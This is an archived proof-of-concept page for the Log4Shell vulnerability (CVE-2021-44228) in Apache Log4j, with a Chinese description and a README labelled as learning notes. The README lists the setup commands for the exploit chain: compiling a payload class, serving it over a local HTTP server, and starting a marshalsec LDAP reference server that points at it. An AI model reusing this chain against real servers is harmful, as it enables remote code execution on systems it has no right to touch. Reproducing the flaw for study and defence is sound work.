Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-44228 PoC — Apache Log4j 代码问题漏洞

Source
Associated Vulnerability
Title:Apache Log4j 代码问题漏洞 (CVE-2021-44228)
Description:Apache Log4j是美国阿帕奇(Apache)基金会的一款基于Java的开源日志记录工具。 Apache Log4J 存在代码问题漏洞,攻击者可设计一个数据请求发送给使用 Apache Log4j工具的服务器,当该请求被打印成日志时就会触发远程代码执行。
Description
Apache Log4j CVE-2021-44228 漏洞复现
Readme
## Log4j2复现笔记,仅供学习
参考https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

### 创建可执行文件
```
com/example/template

javac Log4jRCE.java
```

### 启动Python自带的HTTP服务器
```
com/example/template
python -m http.server 8888
```

### 启动LDAP服务器
```
tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"
```

### 模拟注入攻击提交表单
```
com/example/hack/Hack.java
```
File Snapshot

[4.0K] /data/pocs/09c37dd00a30b239e787b28e431532a69cf52da2 ├── [ 990] pom.xml ├── [ 498] README.md ├── [4.0K] src │   └── [4.0K] main │   ├── [4.0K] java │   │   └── [4.0K] com │   │   └── [4.0K] example │   │   ├── [4.0K] hack │   │   │   └── [ 403] Hack.java │   │   ├── [ 375] Log4jRCETest.java │   │   └── [4.0K] template │   │   ├── [ 609] Log4jRCE.class │   │   └── [ 296] Log4jRCE.java │   └── [4.0K] resources │   └── [2.2K] log4j2.xml └── [4.0K] tools └── [ 41M] marshalsec-0.0.3-SNAPSHOT-all.jar 9 directories, 8 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.